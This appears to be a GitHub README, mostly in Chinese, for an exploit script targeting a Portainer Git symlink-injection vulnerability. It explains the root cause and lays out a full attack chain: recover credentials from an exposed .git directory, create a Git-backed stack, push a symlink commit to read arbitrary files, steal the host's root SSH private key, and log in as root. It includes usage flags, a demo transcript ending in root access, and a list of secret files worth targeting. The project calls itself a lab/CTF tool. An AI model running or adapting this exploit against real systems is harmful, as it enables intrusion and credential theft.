0xdak/CVE-2026-44881_exploit

GitHub: 0xdak/CVE-2026-44881_exploit

针对 Portainer Git 符号链接注入漏洞(CVE-2026-44881)的自动化漏洞利用脚本,通过低权限认证用户实现容器内任意文件读取,最终可窃取宿主机 SSH 私钥并获取 root 访问权限。

Stars: 0 | Forks: 0

# CVE-2026-44881 — Portainer Git 符号链接 → 任意主机文件读取 针对 **CVE-2026-44881** 的单脚本漏洞利用。这是 Portainer 的 stack 部署流程中存在的一个 Git 符号链接注入漏洞,允许任何拥有 stack 创建权限的低权限认证用户读取 Portainer 进程可访问的任意文件。 ## 漏洞原理 该漏洞是两个攻击原语的组合: 1. **`go-git` v5** 在执行 `git clone` 时,会将 mode 为 `0o120000`(符号链接)的 Git tree 条目转换为真实的 OS 符号链接。唯一被列入黑名单的名称是 `.gitmodules`;所有其他路径——包括被 Portainer 视为 stack 入口的 `docker-compose.yml`——都可以是指向任意**相对**目标的符号链接。 2. **`Service.GetFileContent`** (`api/filesystem/filesystem.go`) 使用 `os.ReadFile` 读取 stack 入口文件,该函数会透明地跟随 OS 符号链接。`JoinPaths` 虽然会阻止*输入字符串*中的 `../`,但从未调用 `filepath.EvalSymlinks`,因此磁盘上已存在的符号链接会顺理成章地解析到其目标路径。 Portainer 通常在其容器内以 **root** 身份运行(因为需要访问 Docker socket),因此该读取原语的作用范围是该容器所能看到的一切——通常是 `/data/portainer.db`(包含每个用户密码哈希值和每个 API token 的 BoltDB)、位于 `/var/run/secrets/kubernetes.io/serviceaccount/token` 的 Kubernetes service-account token、位于 `/run/secrets/` 的 Docker Swarm secrets,并且——在为了监控而绑定挂载了主机文件系统的部署中——还包括主机的 `/etc/shadow`、`/root/.ssh/*` 等等。 该脚本利用的攻击链如下: ``` leaked .git on port 80 → recover lowuser:password from commit history → Portainer login → create Git-backed stack with clean YAML (validation passes, stack persists) → push symlink commit, trigger /git/redeploy (validation fails, working tree IS updated) → GET /api/stacks/{id}/file (returns symlink target's content) → ssh -i stolen_key root@target ``` ## 用法 ``` ./exploit.sh -t 192.168.1.27 ``` 脚本会从 `ip addr` 自动检测攻击者的 IP,并假设 `.git` 暴露在 `http://target/.git/`。请根据您的实际环境覆盖任何不匹配的配置: ``` -t, --target target IP (required) -a, --attacker attacker IP advertised to Portainer for the git daemon (auto-detected) -l, --leak-path path of the exposed .git directory (default: /.git) -p, --portainer-port Portainer HTTP port (default: 9000) -g, --git-port local git daemon port (default: 9418) -w, --workdir working directory for scratch files (default: mktemp) -u, --user skip .git enumeration; use this Portainer username -P, --pass skip .git enumeration; use this Portainer password --no-creds-from-git skip the .git stage and require -u/-P --no-ssh skip the final SSH-in step -h, --help show this help and exit ``` ## 演示 ``` $ ./exploit.sh -t 192.168.1.27 [+] Target : http://192.168.1.27:9000 [+] Attacker IP : 192.168.1.34 [+] Workdir : /tmp/cve44881-xxxx === Stage 1 — dump leaked /.git and recover creds === [+] git-dumper found, running it... [+] git history: 3a1f9e2 oops: remove creds from repo, rotate before prod b4c20a6 add trial onboarding env (temp, will move to vault) d09a875 init: portal landing + ops notes [+] Recovered creds: lowuser / lowuser-c0ntain3r-2026 === Stage 2 — Portainer auth === [+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... [+] Endpoint ID: 1 === Stage 3 — host the bait Git repo on git://192.168.1.34:9418/repo.git === [+] git daemon up (pid 12345) === Stage 4 — create the Git-backed stack (clean YAML) === [+] Stack ID: 1 === Stage 5 — push symlink commit + trigger redeploy === [+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"} === Stage 6 — GET /api/stacks/1/file === [+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa -----BEGIN OPENSSH PRIVATE KEY----- ... -----END OPENSSH PRIVATE KEY----- === Stage 7 — SSH in as root with leaked key === === id === uid=0(root) gid=0(root) groups=0(root) === hostname === containerops === flag === b7d419c8a2f6e90315b7d419c8a2f6e9 === Done — exploit complete === ``` ## 环境要求 - Bash, `curl`, `jq`, `git` (包含 `git daemon`), `ssh` - *推荐:* [`git-dumper`](https://github.com/arthaud/git-dumper) — `pipx install git-dumper`。脚本内置了一个处理简单 loose-object 情况的最小化 dumb-HTTP 枚举器,以备 `git-dumper` 缺失时使用;但对于任何非同寻常的 `.git` 目录泄露情况,完整工具的可靠性要高得多。 ## 注意事项 - 该脚本假设实验环境的绑定挂载布局为 `/:/mnt/host:ro`,并读取 `/mnt/host/root/.ssh/id_rsa`。要以其他文件为目标,请修改第 5 阶段(`../../../mnt/host/root/.ssh/id_rsa`)中的符号链接目标。Portainer 的 go-billy 会将*绝对*符号链接 chroot 限制在工作树中,因此目标**必须是相对的**。 - 从 `.git` 中恢复的凭据仅限于 Portainer 范围——它们不能获取 SSH 或任何直接的主机访问权限。该实验环境的设计使得通向主机级 RCE 的唯一途径就是通过此 CVE。 - 重新部署阶段**预期** Portainer 会返回 `{"message":"stack config file is invalid"}` 响应——这是验证器在报错抱怨 SSH key 不是有效的 YAML。在验证器运行之前,clone 操作就已经覆盖了工作树,这正是我们所需要的。 ## 许可证 MIT。仅用于授权测试和 CTF / 实验环境。
标签:Go, Python, Ruby工具, StruQ, 内存分配, 应用安全, 无后门, 符号链接注入, 路径遍历